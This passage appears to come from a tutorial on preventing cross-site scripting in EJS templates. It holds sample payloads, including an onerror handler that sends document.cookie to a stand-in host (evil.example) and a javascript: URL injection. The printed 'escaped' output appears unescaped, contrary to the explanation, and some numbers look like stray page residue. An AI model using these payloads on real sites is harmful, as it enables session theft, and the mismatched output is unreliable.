Cross-site scripting is an output bug, not an input bug: review text that is harmless in a JSON response becomes executable the moment you interpolate it into HTML. Every template engine in Static Files and Uploads escapes by default and offers a second syntax that does not - in EJS 689,492 , <%= %> escapes and <%- %> does not.
const body = '<b>Great!</b> <img src=x '
+ 'onerror="fetch(\'https://evil.example/?c=\'+document.cookie)">';
const review = { author: 'Mallory<script>alert(1)</script>', body };
const tpl = `<h3><%= review.author %></h3>
<p><%= review.body %></p>
<p class="raw"><%- review.body %></p>`;
console.log(ejs.render(tpl, { review }));<h3>Mallory<script>alert(1)</script></h3>
<p><b>Great!</b> <img src=x
onerror="fetch('https://evil.example/?c='+document.cookie)"></p>
<p class="raw"><b>Great!</b> <img src=x
onerror="fetch('https://evil.example/?c='+document.cookie)"></p>The escaped lines replace & < > " ' with entities, so the browser prints the payload as text. The raw line ships a live onerror handler that mails the visitor's cookies elsewhere - which is why session cookies are httpOnly (Signed Cookies). But escaping is per context, and an engine knows only the HTML one. Two payloads survive <%= %>:
<a href="<%= url %>"> url = 'javascript:alert(document.domain)' -> <a href="javascript:alert(document.domain)">site</a> still executable <script>const u = "<%= name %>";</script> name = '</script><script>alert(3)</script>' -> <script>const u = "</script><script>alert(3)...";</script> safe here
The second is safe only because EJS escapes < and >; an engine that escaped just quotes would break out of the script block. Never build JavaScript by interpolation - pass data in a <script type="application/json"> block and JSON.parse it - and validate a URL's scheme before rendering it.
When you must accept HTML, sanitizing replaces escaping: sanitize-html 4,114 (MIT, apostrophecms/sanitize-html (https://github.com/apostrophecms/sanitize-html 4,114 ), 2.17.7) parses the fragment and rebuilds it from an allowlist of tags and attributes, so <b> survives and onerror does not. Sanitize when the content is stored and use <%- %> there only. A Content Security Policy, which Helmet 10,736 emits and Front-End Web Development explains, is the backstop for the mistake you will eventually make.